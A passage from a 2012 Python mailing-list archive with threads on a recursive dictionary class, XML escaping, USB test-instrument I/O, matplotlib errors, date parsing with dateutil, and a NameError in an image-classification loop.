<201212111739.12794.dave@cinege.com> Message-ID: <50C7D585.7020301@lightbird.net> On 12/11/2012 05:39 PM, Dave Cinege wrote: > On Tuesday 11 December 2012 16:53:12 Ian Kelly wrote: > >> Just out of curiosity, how old are we talking? enumerate was added in >> Python 2.3, which is nearly 10 years old. Prior to 2.2 I don't think >> it was even possible to subclass dict, which would make your Thesaurus >> implementation unusable, so are these systems running Python 2.2? > > I'm finally beyond 2.2 and getting rid of 2.4 soon. Just started using 2.6 5 > months ago. > > Thesaurus initially came about from me doing this: > class Global: > pass > g = Global() > > As a way to organize/consolidate global vars and eliminate the global > statement. I think that's the key issue here. I find that when code is well structured, you pretty much never have a need for global statements, anyway. By the way, the Thesaurus class reminds me of using the old recipe called 'Bunch': http://code.activestate.com/recipes/52308-the-simple-but-handy-collector-of-a-bunch-of-named/ like this: b = Bunch(x=1) b.stuff = Bunch(y=2) b.stuff.y 2 I've also seen an answer on StackOverflow that uses automatic recursive 'Bunching': http://stackoverflow.com/questions/1123000/does-python-have-anonymous-classes I've seen another variation of recursive bunching, I think it was by Alex Martelli on StackOverflow, but I can't find it now, I believe it used defaultdict as part of it.. This approach can be handy sometimes but has drawbacks, as others have pointed out. I think the issue is that it's not a "solution for avoiding globals", which is not a problem in need of solution, but this can be a quick and dirty way to organize a few levels of dicts/Bunches and usually people come up with a custom variation on these recipes that suit their program. -- Lark's Tongue Guide to Python: http://lightbird.net/larks/ From msirenef at lightbird.net Tue Dec 11 19:59:00 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Tue, 11 Dec 2012 19:59:00 -0500 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: <50C7D585.7020301@lightbird.net> References: <201212102248.50766.dave@cinege.com> <201212111557.24851.dave@linkscape.net> <201212111739.12794.dave@cinege.com> <50C7D585.7020301@lightbird.net> Message-ID: <50C7D6D4.2060201@lightbird.net> On 12/11/2012 07:53 PM, Mitya Sirenef wrote: > By the way, the Thesaurus class reminds me of using the old recipe > called 'Bunch': > > http://code.activestate.com/recipes/52308-the-simple-but-handy-collector-of-a-bunch-of-named/ > > > like this: > > b = Bunch(x=1) b.stuff = Bunch(y=2) > > b.stuff.y 2 Sorry, this was meant to be: b = Bunch(x=1) b.stuff = Bunch(y=2) b.stuff.y 2 From aclark at aclark.net Tue Dec 11 20:42:25 2012 From: aclark at aclark.net (Alex Clark) Date: Tue, 11 Dec 2012 20:42:25 -0500 Subject: The Zen of Zope, by Alex Clark References: <50c563e0$0$21722$c3e8da3$76491128@news.astraweb.com> <1f1ef8e3-5838-48cd-ad8e-8748a20e5e7a@q5g2000pbk.googlegroups.com> Message-ID: On 2012-12-12 00:36:29 +0000, alex23 said: > On Dec 12, 7:23?am, Alex Clark wrote: >> TL;DR: Zope has a lot to offer, and there are times when you may need >> its libraries to perform complex tasks. > > I always avoided Zope as I kept hearing "there's the Python way and > then there's the Zope way", however, all that did is lead me to avoid > a framework representing almost 15 years worth of experience. Having > now been exposed to it through Plone, I'm finding a lot there to like, > like zope.interface. Indeed, and getting folks to discuss Zope (especially in a positive way) is part of my goal. -- Alex Clark ? https://www.gittip.com/aclark4life/ From nenad.cikic at gmail.com Tue Dec 11 21:19:22 2012 From: nenad.cikic at gmail.com (nenad.cikic at gmail.com) Date: Tue, 11 Dec 2012 18:19:22 -0800 (PST) Subject: Create xml with elementtree ET and xml escaping In-Reply-To: References: <7caeb6db-41f9-4321-b172-f8ddb6a9ac6d@googlegroups.com> Message-ID: Il giorno marted? 11 dicembre 2012 20:59:54 UTC+1, MRAB ha scritto: > > Hello, I have posted the same in XML group but it seems pretty dead there so I will repost here. > > > > > > I am new to xml processing in python. > > > I am looking to create XML. Xml is not too difficult so I thought to create it manually using ElementTree. > > > First I noted that ET.toString does escape <>& but not " and ' > > > Is that normal? > > > > > " needs to be encoded when it's in an attribute's value: > > > > OK I understood. > > > because it's also being used as a delimiter in that case, but elsewhere > > it has no special meaning. > > > > > Since I have also the need to sign the XML I need the ability to create xml but without xml escaping (unescaped data are signed). > > > > XML with the escaping isn't valid XML. > Of course I know it is not valid without escaping. But I need it only for signing. I will recheck this if really the web service wants the data to be signed as non escaped. Thanks Nenad From nenad.cikic at gmail.com Tue Dec 11 21:19:22 2012 From: nenad.cikic at gmail.com (nenad.cikic at gmail.com) Date: Tue, 11 Dec 2012 18:19:22 -0800 (PST) Subject: Create xml with elementtree ET and xml escaping In-Reply-To: References: <7caeb6db-41f9-4321-b172-f8ddb6a9ac6d@googlegroups.com> Message-ID: Il giorno marted? 11 dicembre 2012 20:59:54 UTC+1, MRAB ha scritto: > > Hello, I have posted the same in XML group but it seems pretty dead there so I will repost here. > > > > > > I am new to xml processing in python. > > > I am looking to create XML. Xml is not too difficult so I thought to create it manually using ElementTree. > > > First I noted that ET.toString does escape <>& but not " and ' > > > Is that normal? > > > > > " needs to be encoded when it's in an attribute's value: > > > > OK I understood. > > > because it's also being used as a delimiter in that case, but elsewhere > > it has no special meaning. > > > > > Since I have also the need to sign the XML I need the ability to create xml but without xml escaping (unescaped data are signed). > > > > XML with the escaping isn't valid XML. > Of course I know it is not valid without escaping. But I need it only for signing. I will recheck this if really the web service wants the data to be signed as non escaped. Thanks Nenad From wrw at mac.com Tue Dec 11 21:21:06 2012 From: wrw at mac.com (wrw at mac.com) Date: Tue, 11 Dec 2012 21:21:06 -0500 Subject: problem with usbtmc-communication In-Reply-To: References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <123edfab-b46a-4a47-8b73-3f47e807e074@c16g2000yqi.googlegroups.com> <01cdbc70-7e46-4225-9baa-b555619d1aa8@10g2000yqo.googlegroups.com> <99b04e06-734c-4702-bf74-855e28d8f633@x20g2000vbf.googlegroups.com> <50b9eb4f-f319-491d-894c-2a9386b6941a@x20g2000vbf.googlegroups.com> Message-ID: On Dec 11, 2012, at 3:48 PM, Jean Dubois wrote: [byte] >> >> OK - I see where the examples came from, and I notice - >> >> int my_inst; >> my_inst=open(?/dev/usbtmc1?,O_RDWR); >> write(my_inst,?*RST\n?,5); >> close(my_inst); >> >> and similarly in another place - >> >> retval=write(myfile,"*IDN?\n",6); >> >> Note that both write commands contain a byte count of the number of characters to be written (\n counts as one character). >> Again, the read commands contain byte counts. I'm very suspicious that a write command with no byte count writes nothing, but does move a buffer pointer. >> >> -Bill > > Does Python support/implement simular commands? Can I use > usbkeith.write("*IDN?\n",6) and something simular for the reading > commands? > > thanks, > jean > -- > http://mail.python.org/mailman/listinfo/python-list Yes of course. BUT, that isn't really a python question, it depends on how the device driver implements the function call. -Bill From nenad.cikic at gmail.com Tue Dec 11 21:25:57 2012 From: nenad.cikic at gmail.com (nenad.cikic at gmail.com) Date: Tue, 11 Dec 2012 18:25:57 -0800 (PST) Subject: Establishing Https connection In-Reply-To: References: <90968092-9853-4d8a-9bd6-ee42d4f8b2f8@googlegroups.com> Message-ID: <7a7fecc4-3dbf-45f7-8de3-d9fd7cc677db@googlegroups.com> Many thanks, I will check it. Nenad From nenad.cikic at gmail.com Tue Dec 11 21:25:57 2012 From: nenad.cikic at gmail.com (nenad.cikic at gmail.com) Date: Tue, 11 Dec 2012 18:25:57 -0800 (PST) Subject: Establishing Https connection In-Reply-To: References: <90968092-9853-4d8a-9bd6-ee42d4f8b2f8@googlegroups.com> Message-ID: <7a7fecc4-3dbf-45f7-8de3-d9fd7cc677db@googlegroups.com> Many thanks, I will check it. Nenad From subhabangalore at gmail.com Tue Dec 11 22:23:28 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Tue, 11 Dec 2012 19:23:28 -0800 (PST) Subject: Matplotlib/Pylab Error In-Reply-To: <53ef294d-e46a-4734-9227-1ca766e056ae@googlegroups.com> References: <53ef294d-e46a-4734-9227-1ca766e056ae@googlegroups.com> Message-ID: <70f54386-abae-4433-b3e7-9e67c994600b@googlegroups.com> On Tuesday, December 11, 2012 2:10:07 AM UTC+5:30, subhaba... at gmail.com wrote: > Dear Group, > > > > I am trying to enumerate few interesting errors on pylab/matplotlib. > > If any of the learned members can kindly let me know how should I address them. > > > > I am trying to enumerate them as follows. > > > > i) >>> import numpy > > >>> import pylab > > >>> t = numpy.arange(0.0, 1.0+0.01, 0.01) > > >>> s = numpy.cos(2*2*numpy.pi*t) > > >>> pylab.plot(t, s) > > [] > > >>> pylab.show() > > Exception in Tkinter callback > > Traceback (most recent call last): > > File "C:\Python26\lib\lib-tk\Tkinter.py", line 1410, in __call__ > > return self.func(*args) > > File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_tkagg.py", line 236, in resize > > self.show() > > File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_tkagg.py", line 239, in draw > > FigureCanvasAgg.draw(self) > > File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_agg.py", line 421, in draw > > self.figure.draw(self.renderer) > > File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper > > draw(artist, renderer, *args, **kwargs) > > File "C:\Python26\Lib\site-packages\matplotlib\figure.py", line 898, in draw > > func(*args) > > File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper > > draw(artist, renderer, *args, **kwargs) > > File "C:\Python26\Lib\site-packages\matplotlib\axes.py", line 1997, in draw > > a.draw(renderer) > > File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper > > draw(artist, renderer, *args, **kwargs) > > File "C:\Python26\Lib\site-packages\matplotlib\axis.py", line 1045, in draw > > tick.draw(renderer) > > File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper > > draw(artist, renderer, *args, **kwargs) > > File "C:\Python26\Lib\site-packages\matplotlib\axis.py", line 239, in draw > > self.label1.draw(renderer) > > File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper > > draw(artist, renderer, *args, **kwargs) > > File "C:\Python26\Lib\site-packages\matplotlib\text.py", line 591, in draw > > ismath=ismath) > > File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_agg.py", line 167, in draw_text > > font.draw_glyphs_to_bitmap(antialiased=rcParams['text.antialiased']) > > TypeError: draw_glyphs_to_bitmap() takes no keyword arguments > > > > ii) Python 2.6.1 (r261:67517, Dec 4 2008, 16:51:00) [MSC v.1500 32 bit (Intel)] on win32 > > Type "copyright", "credits" or "license()" for more information. > > > > **************************************************************** > > Personal firewall software may warn about the connection IDLE > > makes to its subprocess using this computer's internal loopback > > interface. This connection is not visible on any external > > interface and no data is sent to or received from the Internet. > > **************************************************************** > > > > IDLE 2.6.1 > > >>> import networkx as nx > > >>> G=nx.Graph() > > >>> G.add_node(1) > > >>> G.add_nodes_from([2,3]) > > >>> H=nx.path_graph(10) > > >>> G.add_nodes_from(H) > > >>> G.add_node(H) > > >>> G.add_edge(1,2) > > >>> G.draw() > > > > Traceback (most recent call last): > > File "", line 1, in > > G.draw() > > AttributeError: 'Graph' object has no attribute 'draw' > > >>> import matplotlib.pyplot as plt > > >>> plt.show() > > >>> nx.draw(G) > > >>> plt.show() > > Exception in Tkinter callback > > Traceback (most recent call last): > > File "C:\Python26\lib\lib-tk\Tkinter.py", line 1410, in __call__ > > return self.func(*args) > > File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_tkagg.py", line 236, in resize > > self.show() > > File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_tkagg.py", line 239, in draw > > FigureCanvasAgg.draw(self) > > File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_agg.py", line 421, in draw > > self.figure.draw(self.renderer) > > File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper > > draw(artist, renderer, *args, **kwargs) > > File "C:\Python26\Lib\site-packages\matplotlib\figure.py", line 898, in draw > > func(*args) > > File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper > > draw(artist, renderer, *args, **kwargs) > > File "C:\Python26\Lib\site-packages\matplotlib\axes.py", line 1997, in draw > > a.draw(renderer) > > File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper > > draw(artist, renderer, *args, **kwargs) > > File "C:\Python26\Lib\site-packages\matplotlib\text.py", line 591, in draw > > ismath=ismath) > > File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_agg.py", line 167, in draw_text > > font.draw_glyphs_to_bitmap(antialiased=rcParams['text.antialiased']) > > TypeError: draw_glyphs_to_bitmap() takes no keyword arguments > > > > Regards, > > Subhabrata. I think the problem is with the OS. In my home machine(with MS-Windows 7) it is running fine, but in the office machine(with MS-Windows XP SP2) it is giving error. I tried to have a word with my System Admin friend he is bit unaware about the Python environment, and I have a pressing need to solve. I restarted the machine but did not help. Regards, Subhabrata. From breamoreboy at yahoo.co.uk Tue Dec 11 22:35:03 2012 From: breamoreboy at yahoo.co.uk (Mark Lawrence) Date: Wed, 12 Dec 2012 03:35:03 +0000 Subject: Matplotlib/Pylab Error In-Reply-To: <53ef294d-e46a-4734-9227-1ca766e056ae@googlegroups.com> References: <53ef294d-e46a-4734-9227-1ca766e056ae@googlegroups.com> Message-ID: On 10/12/2012 20:40, subhabangalore at gmail.com wrote: > Dear Group, > > I am trying to enumerate few interesting errors on pylab/matplotlib. > If any of the learned members can kindly let me know how should I address them. > I think you'd get more responses if you post your questions on the matplotlib users mailing list. -- Cheers. Mark Lawrence. From python.list at tim.thechases.com Tue Dec 11 23:15:32 2012 From: python.list at tim.thechases.com (Tim Chase) Date: Tue, 11 Dec 2012 22:15:32 -0600 Subject: PyParsing contextual suggestions? Message-ID: <50C804E4.80907@tim.thechases.com> I've just started tinkering around with PyParsing and have unable to come up with an answer to the following without deep diving into the code. Is there a way to do a partial parsing and then get the list of possible things that could appear at the terminus of the parsing? My hope is to implement context-aware suggestions in a readline.py/cmd.py application. So I might have a grammar that knows about filenames, and could then appropriately suggest file-names at the given point in a parsing of the command. Any hints on where I should read up? Thanks, -tkc From steve+comp.lang.python at pearwood.info Wed Dec 12 00:05:05 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 12 Dec 2012 05:05:05 GMT Subject: strptime - dates formatted differently on different computers References: <50C6C5E7.1030300@gmail.com> Message-ID: <50c81081$0$21722$c3e8da3$76491128@news.astraweb.com> On Tue, 11 Dec 2012 02:35:29 -0600, Greg Donald wrote: > On Mon, Dec 10, 2012 at 10:34:31PM -0700, Michael Torrie wrote: >> I use a module I got from pypi called dateutil. It has a nice >> submodule called parser that can handle a variety of date formats with >> good accuracy. Not sure how it works, but it handles all the common >> American date formats I've thrown at it. > > from dateutil.parser import parse > dt = parse( whatever ) > > I've throw all kind of date and timestamps at it.. have yet to see > anything it won't parse. The question is not "will it parse", but will it parse CORRECTLY? What will it parse 11/12/10 as, and how do you know that is the intended date? -- Steven From gdonald at gmail.com Wed Dec 12 00:28:09 2012 From: gdonald at gmail.com (Greg Donald) Date: Tue, 11 Dec 2012 23:28:09 -0600 Subject: strptime - dates formatted differently on different computers In-Reply-To: References: <50C6C5E7.1030300@gmail.com> Message-ID: On Tue, Dec 11, 2012 at 2:18 PM, Marc Christiansen wrote: >>>> parse('1. Januar 2013') > Traceback (most recent call last): > File "", line 1, in > File "/usr/lib64/python3.3/site-packages/dateutil/parser.py", line 720, in parse > return DEFAULTPARSER.parse(timestr, **kwargs) > File "/usr/lib64/python3.3/site-packages/dateutil/parser.py", line 310, in parse > raise ValueError("unknown string format") > ValueError: unknown string format A parserinfo class can be passed to parse() for unknown locale strings. >>>> parse('1.2.2013') # ambiguous, I know > datetime.datetime(2013, 1, 2, 0, 0) # should be datetime.datetime(2013, 2, 1, 0, 0) In [2]: parse('1.2.2013', dayfirst=True) Out[2]: datetime.datetime(2013, 2, 1, 0, 0) -- Greg Donald From gdonald at gmail.com Wed Dec 12 00:29:12 2012 From: gdonald at gmail.com (Greg Donald) Date: Tue, 11 Dec 2012 23:29:12 -0600 Subject: strptime - dates formatted differently on different computers In-Reply-To: <50c81081$0$21722$c3e8da3$76491128@news.astraweb.com> References: <50C6C5E7.1030300@gmail.com> <50c81081$0$21722$c3e8da3$76491128@news.astraweb.com> Message-ID: On Tue, Dec 11, 2012 at 11:05 PM, Steven D'Aprano wrote: > The question is not "will it parse", but will it parse CORRECTLY? > > What will it parse 11/12/10 as, and how do you know that is the intended > date? If it were me I'd look at more of the source dates I was tasked with parsing and dial it in using the appropriate dayfirst, yearfirst, etc. options. -- Greg Donald From steve+comp.lang.python at pearwood.info Wed Dec 12 01:34:31 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 12 Dec 2012 06:34:31 GMT Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes References: <50c6eae2$0$21722$c3e8da3$76491128@news.astraweb.com> Message-ID: <50c82577$0$21722$c3e8da3$76491128@news.astraweb.com> On Tue, 11 Dec 2012 16:08:34 -0500, Dave Cinege wrote: > On Tuesday 11 December 2012 03:12:19 Steven D'Aprano wrote: > >> Is this intended as a ready-for-production class? > > For me, yes. In production code. > >> py> d = Thesaurus() >> py> d['spam'] = {} > > Maybe because spam is type dict instead of type thes??? Well duh. By the way, it's a dirty trick to cut out all context to try to make me seem like an idiot. In context, you stated that Thesaurus "will search through nested objects recursively when __getitem__ is called", but in fact that is not true. It does not do what you state it does. > Remainder of your post, not productive, not worth my time. Oh well I'm just hurt now. *sobs* So, let's see now... I identified that your Thesaurus code: * will fail silently; * contains dead code that is never used; * contains redundant code that is pointless; * hides errors in the caller's code; and you consider this "not productive, not worth my time". Code review with you must be *all* sorts of fun. -- Steven From steve+comp.lang.python at pearwood.info Wed Dec 12 01:34:31 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 12 Dec 2012 06:34:31 GMT Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes References: <50c6eae2$0$21722$c3e8da3$76491128@news.astraweb.com> Message-ID: <50c82577$1$21722$c3e8da3$76491128@news.astraweb.com> On Tue, 11 Dec 2012 16:08:34 -0500, Dave Cinege wrote: > On Tuesday 11 December 2012 03:12:19 Steven D'Aprano wrote: > >> Is this intended as a ready-for-production class? > > For me, yes. In production code. > >> py> d = Thesaurus() >> py> d['spam'] = {} > > Maybe because spam is type dict instead of type thes??? Well duh. By the way, it's a dirty trick to cut out all context to try to make me seem like an idiot. In context, you stated that Thesaurus "will search through nested objects recursively when __getitem__ is called", but in fact that is not true. It does not do what you state it does. > Remainder of your post, not productive, not worth my time. Oh well I'm just hurt now. *sobs* So, let's see now... I identified that your Thesaurus code: * will fail silently; * contains dead code that is never used; * contains redundant code that is pointless; * hides errors in the caller's code; and you consider this "not productive, not worth my time". Code review with you must be *all* sorts of fun. -- Steven From rosuav at gmail.com Wed Dec 12 01:44:24 2012 From: rosuav at gmail.com (Chris Angelico) Date: Wed, 12 Dec 2012 17:44:24 +1100 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: <50c82577$1$21722$c3e8da3$76491128@news.astraweb.com> References: <50c6eae2$0$21722$c3e8da3$76491128@news.astraweb.com> <50c82577$1$21722$c3e8da3$76491128@news.astraweb.com> Message-ID: On Wed, Dec 12, 2012 at 5:34 PM, Steven D'Aprano wrote: > So, let's see now... I identified that your Thesaurus code: > > * will fail silently; > * contains dead code that is never used; > * contains redundant code that is pointless; > * hides errors in the caller's code; > > and you consider this "not productive, not worth my time". Code review > with you must be *all* sorts of fun. He never asked for code review :) ChrisA From darcy at druid.net Wed Dec 12 05:25:11 2012 From: darcy at druid.net (D'Arcy J.M. Cain) Date: Wed, 12 Dec 2012 05:25:11 -0500 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: References: <50c6eae2$0$21722$c3e8da3$76491128@news.astraweb.com> <50c82577$1$21722$c3e8da3$76491128@news.astraweb.com> Message-ID: <20121212052511.293728de@dilbert> On Wed, 12 Dec 2012 17:44:24 +1100 Chris Angelico wrote: > On Wed, Dec 12, 2012 at 5:34 PM, Steven D'Aprano > wrote: > > and you consider this "not productive, not worth my time". Code > > review with you must be *all* sorts of fun. > > He never asked for code review :) I think by posting it he sort of did. He should probably grow a thicker skin before he does so again though. -- D'Arcy J.M. Cain | Democracy is three wolves http://www.druid.net/darcy/ | and a sheep voting on +1 416 425 1212 (DoD#0082) (eNTP) | what's for dinner. IM: darcy at Vex.Net From feedbackflow at gmail.com Wed Dec 12 09:23:52 2012 From: feedbackflow at gmail.com (Bart Thate) Date: Wed, 12 Dec 2012 15:23:52 +0100 Subject: The Prototype Master Message-ID: *PROTOTYPE MASTER* they call me the prototype master over here. I dive into the unkown and get some code working in a problem domain i dont know. As fast as possible i need to write code that 1) is running 2) does something in that domain This all so i can learn from all that went wrong. so i can see where my not knowing the problem domain leads me too. Thing is i have been prototyping in my domain for more than 10 years now. Bots are what i have been doing all that time, recycling version after version, name after name, trying to improving stuff, most of the time meaning dropping too much code and spending waay to much time to add the functionality back in. So no sorry still no unittests yet ;] I promised i test the core first, but if i don't know what the core is going to look like, it is no use of testing - yet - I do have a ./bin/life-test in the git repo know that can launch unittests, but i need to go forward to have at least the IRC bot running. So here is version 3 of the L I F E ;] It does run a IRC bot, but only primary functionality is there, connect and join a channel and do some commands. The console bot seems more stable now, as is the zero-key stuff. All hopes though can only test stuff here for myself, looks good so far as in "easy_install3 -U life" works here. try something like ";start irc #channel" in the console. basically the thing is forming into a framework with 1 top heay base class and in object typeing for easier conversions, ummm yeaah well ;] And then there is the issue of colors.. My deep apology to those who have been using shell and IRC from the earlier days, i just need to have my colors in my shell ;] For me it makes the output more parsable. So wrap up, target of one release a week seems to work, still need to start my massive unittest stuff, but it seems core is progressing well. Do take note though: 'Development Status :: 2 - Pre-Alpha', https://github.com/feedbackflow/life http://pypi.python.org/pypi/life/3 -------------- next part -------------- An HTML attachment was scrubbed... URL: From insideshoes at gmail.com Wed Dec 12 10:00:18 2012 From: insideshoes at gmail.com (inshu chauhan) Date: Wed, 12 Dec 2012 16:00:18 +0100 Subject: Error .. Please Help Message-ID: In this code : import cv g = open("PointCloudmitClass.txt", "w") image = cv.LoadImageM("Z:/modules/intensity_000001.tif", cv.CV_LOAD_IMAGE_UNCHANGED) print image for y in xrange(0,image.height): for x in xrange(0,image.width): color = image[y,x] if color == (0.0,0.0,0.0): continue else : if color == (0.0,255.0,0.0): classification = 1 elif color == (128.0, 0.0, 255.0): classification = 2 elif color == (255.0,0.0,0.0): classification = 3 elif color == (128.0, 128.0, 128.0): classification = 4 elif color == (128.0, 64.0, 0.0): classification = 5 elif color == (0.0, 0.0, 255.0): classification = 6 elif color == (255.0, 0.0, 255.0): classification = 7 print >> g, x , y , color, classification I am getting the following error.. Traceback (most recent call last): File "Z:\modules\Get_Classification.py", line 27, in print >> g, x , y , color, classification NameError: name 'classification' is not defined Its simple error of name but m not getting why it should come as I have already defined Classification in between if-else loop ?? Thanks in Advance !!! IC -------------- next part -------------- An HTML attachment was scrubbed... URL: From rosuav at gmail.com Wed Dec 12 10:05:39 2012 From: rosuav at gmail.com (Chris Angelico) Date: Thu, 13 Dec 2012 02:05:39 +1100 Subject: Error .. Please Help In-Reply-To: References: Message-ID: On Thu, Dec 13, 2012 at 2:00 AM, inshu chauhan wrote: > In this code : > > import cv > if color == (0.0,255.0,0.0): > classification = 1 > ... > elif color == (255.0, 0.0, 255.0): > classification = 7 > > print >> g, x , y , color, classification > What happens if the color isn't one of the ones you picked? You may need an 'else' clause on your if/elif/elif block, and some classification value meaning "other". ChrisA From nobody at nowhere.com Wed Dec 12 10:23:59 2012 From: nobody at nowhere.com (Nobody) Date: Wed, 12 Dec 2012 15:23:59 +0000 Subject: forking and avoiding zombies! References: <50C6153F.8050205@gmail.com> <50C7282B.8000708@gmail.com> Message-ID: On Tue, 11 Dec 2012 13:25:36 +0000, andrea crotti wrote: > But actually why do I need to move away from the current directory of the > parent process? It's not required, it's just "best practice". Often, the current directory is simply whichever directory it happened to inherit from the shell which spawned it. So long as that directory continues to be used as the daemon's current directory, the filesystem on which it resides cannot be unmounted. So daemons normally change to the root directory (or to some other directory, e.g. one which they actually need to use) in order to "release" the directory from which they were initially started. From d at davea.name Wed Dec 12 10:35:07 2012 From: d at davea.name (Dave Angel) Date: Wed, 12 Dec 2012 10:35:07 -0500 Subject: Error .. Please Help In-Reply-To: References: Message-ID: <50C8A42B.80503@davea.name> On 12/12/2012 10:00 AM, inshu chauhan wrote: > In this code : > > import cv > g = open("PointCloudmitClass.txt", "w") > image = cv.LoadImageM("Z:/modules/intensity_000001.tif", > cv.CV_LOAD_IMAGE_UNCHANGED) > print image > for y in xrange(0,image.height): > for x in xrange(0,image.width): > color = image[y,x] > if color == (0.0,0.0,0.0): > continue > else : > > if color == (0.0,255.0,0.0): > classification = 1 > elif color == (128.0, 0.0, 255.0): > classification = 2 > elif color == (255.0,0.0,0.0): > classification = 3 > elif color == (128.0, 128.0, 128.0): > classification = 4 > elif color == (128.0, 64.0, 0.0): > classification = 5 > elif color == (0.0, 0.0, 255.0): > classification = 6 > elif color == (255.0, 0.0, 255.0): > classification = 7 > > print >> g, x , y , color, classification > > > I am getting the following error.. > > Traceback (most recent call last): > File "Z:\modules\Get_Classification.py", line 27, in > print >> g, x , y , color, classification > NameError: name 'classification' is not defined > > Its simple error of name but m not getting why it should come as I have > already defined Classification in between if-else loop ?? > if-else doesn't define a loop, but each of the for statements do. You have defined a classification for 8 of the possible colors, leaving millions of them undefined. If the first time through the loop you manage to hit one of those undefined ones, you'll have no value for classification. So you get an exception. Worse, if you manage to get past that first pixel with a valid classification, then for remaining pixels, you'll be using the last 'valid' classification encountered. This is the kind of "quiet failure" that programmers dread. Something that seems to work, but isn't even close. If you're going to print (to file) on each iteration through the loop (except 0,0,0), you need to make sure there's always a valid value. So you need at least one more classification value, and an else clause to assign it, as ChrisA pointed out. Do you have a reason for treating (0,0,0) specially? When that value is seen, the logic skips the print as well, since continue skips to the next loop iteration. Are you really getting floating point values, or are they always going to be equal to an integer? Those if/elif statements might be a problem if you ever need to compare to a value like (128.4, 255.0, 255.0). -- DaveA From ulrich.eckhardt at dominolaser.com Wed Dec 12 10:46:19 2012 From: ulrich.eckhardt at dominolaser.com (Ulrich Eckhardt) Date: Wed, 12 Dec 2012 16:46:19 +0100 Subject: Error .. Please Help In-Reply-To: References: Message-ID: Am 12.12.2012 16:00, schrieb inshu chauhan: > color = image[y,x] > if color == (0.0,0.0,0.0): > continue > else : > if color == (0.0,255.0,0.0): > classification = 1 > elif color == (128.0, 0.0, 255.0): > classification = 2 > elif color == (255.0,0.0,0.0): > classification = 3 > elif color == (128.0, 128.0, 128.0): > classification = 4 > elif color == (128.0, 64.0, 0.0): > classification = 5 > elif color == (0.0, 0.0, 255.0): > classification = 6 > elif color == (255.0, 0.0, 255.0): > classification = 7 Use a dict for this, it probably makes things clearer. Something like: cclasses = {( 0.0, 0.0, 0.0): None, ( 0.0, 255.0, 0.0): 1, (128.0, 0.0, 255.0): 2, } if cclasses[color] is not None: print >> g, x , y , color, cclasses[color] Some notes: * Some people (and I think PEP8) frown upon the table formatting of the dict. * d[color] will raise an exception if there is no mapping, but it's not clear what you want to do with those inputs anyway. * Comparing floating-point values for equality is always a bit tricky, as most operations have some rounding. This could mean that you need to use ranges instead of fixed values. A good approach is to round the input to integral values first. * Are you sure that the input uses floating point values but uses typical 8-bit ranges 0-255? I would expect floating point values between 0 and 1 or integral values between 0 and 255, but not such a mixture. * Try g.write('{} {} {} {}\n'.format(x, y, color, classification)) to get code that you will be able to reuse in Python 3. Also, consider upgrading anyway. > I am getting the following error.. > > Traceback (most recent call last): > File "Z:\modules\Get_Classification.py", line 27, in > print >> g, x , y , color, classification > NameError: name 'classification' is not defined > > Its simple error of name but m not getting why it should come as I have > already defined Classification in between if-else loop ?? One comment here: If you don't define "classification" in this loop iteration, the one from the previous iteration will be used. Effectively, this tells me that the first pixel unequal to (0,0,0) already doesn't fit your expectations. Use "import pdb" and "pdb.set_trace()" to get into debugging mode, which is a useful skill anyway. Good luck! Uli From jeandubois314 at gmail.com Wed Dec 12 11:16:21 2012 From: jeandubois314 at gmail.com (Jean Dubois) Date: Wed, 12 Dec 2012 08:16:21 -0800 (PST) Subject: problem with usbtmc-communication References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <123edfab-b46a-4a47-8b73-3f47e807e074@c16g2000yqi.googlegroups.com> <01cdbc70-7e46-4225-9baa-b555619d1aa8@10g2000yqo.googlegroups.com> <99b04e06-734c-4702-bf74-855e28d8f633@x20g2000vbf.googlegroups.com> <50b9eb4f-f319-491d-894c-2a9386b6941a@x20g2000vbf.googlegroups.com> Message-ID: <2730989b-c9e8-4dc3-b3bd-944009a89eac@u13g2000vbc.googlegroups.com> On 12 dec, 01:49, Jerry Hill wrote: > On Tue, Dec 11, 2012 at 1:58 AM, Jean Dubois wrote: > > > I found examples in theusbtmckernel driver documentation (the > > examples there are given in C): > >http://www.home.agilent.com/upload/cmc_upload/All/usbtmc.htm?&cc=BE&l... > > Thanks for that link. ?I think it explains how the driver works pretty > well. ?I haven't done any work with devices like this, but I see a few > things in those docs that might help. > > In their example code, they open the device with: open(?/dev/usbtmc1?,O_RDWR); > > That's not exactly the same as what you've been doing. ?I would try > opening the file this way in python: > usb_device = open('/dev/usbtmc1', 'w+', buffering=0) > > That truncates the file after it opening it, and disables any > buffering that might be going on. > > Then, I would try writing to the device with usb_device.write() and > usb_device.read(). ?read() attempts to read to end-of-file, and based > on the docs, the driver will work okay that way. ?Doing that, along > with turning off buffering when you open the file, should eliminate > any issues with the driver failing to emit newlines someplace. > > Personally, I would probably try playing with the device from python's > interactive interpreter. ?I think that could shed a lot of 